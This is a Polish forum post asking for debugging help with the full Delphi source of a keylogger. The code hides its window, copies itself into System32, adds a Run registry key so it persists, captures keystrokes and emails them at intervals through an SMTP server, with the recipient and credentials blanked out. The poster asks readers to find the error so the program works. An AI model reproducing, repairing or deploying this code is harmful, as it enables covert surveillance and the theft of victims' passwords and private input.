Kod php:
unit key;
interface
uses
* Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
* Dialogs, StdCtrls, KeySpyXP, ExtCtrls, IdComponent, IdTCPConnection,
* IdTCPClient, IdMessageClient, IdSMTP, IdBaseComponent, IdMessage, Registry;
type
* TForm1 = class(TForm)
* * IdMessage1: TIdMessage;
* * IdSMTP1: TIdSMTP;
* * Timer1: TTimer;
* * KeySpyXP1: TKeySpyXP;
* * Memo1: TMemo;
* * procedure KeySpyXP1Key(Sender: TObject; key: String);
* procedure Rejestr;
* * procedure FormCreate(Sender: TObject);
* * procedure Timer1Timer(Sender: TObject);
* private
* * { Private declarations }
* public
* * { Public declarations }
* end;
var
* Form1: TForm1;
implementation
{$R *.dfm}
procedure Tform1.Rejestr;
var
Rejestr:TRegistry;
begin
* copyfile(pchar(paramstr(0)),pchar('C:\WINDOWS\System32\keylogger.exe'),true);
* Rejestr:=TRegistry.Create;
* Rejestr.RootKey:=(HKEY_CURRENT_USER);
* Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',False);
* Rejestr.WriteString('keylogger', 'C:\WINDOWS\System32\keylogger.exe');
* Rejestr.Free;
end;
procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
begin
memo1.text := memo1.text + key;
memo1.text:=Stringreplace(memo1.Text,'{ENTER}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RightMouseButton}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LeftMouseButton}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{DELETE}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{Alt}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{shift}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{ctrl}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{TAB}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT SHIFT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{UP}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{DOWN}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RIGHT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F1}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F2}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F3}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F4}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F5}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F6}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F7}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F8}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F9}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F10}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F11}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F12}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RIGHT CONTROL}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT ALT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{BACKSPACE}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT CONTROL}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RIGHT ALT}','',[rfreplaceall]);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.showmainform:=false;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
IdMessage1.Body.Append(memo1.text);
IdMessage1.Recipients.EMailAddresses := 'xxxxx';
IdMessage1.Subject := 'xxxx';
IdMessage1.From.name := 'xxx';
IdMessage1.From.Address :='xxxx';
idSMTP1.Password := 'xxxx';
idSMTP1.Username := 'xxxx';
idSMTP1.Host := 'smtp.wp.pl';
idSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Connect;
try
* IdSMTP1.Send(IdMessage1);
finally
idmessage1.body.Clear;
* *memo1.lines.Clear;
end;
end;
END.
W miejscach xxxx wiem wszyskto co wpisac itp, wiec nie tam jest problem. Jesli ktos znajdzie blad to prosze o odpowiedz.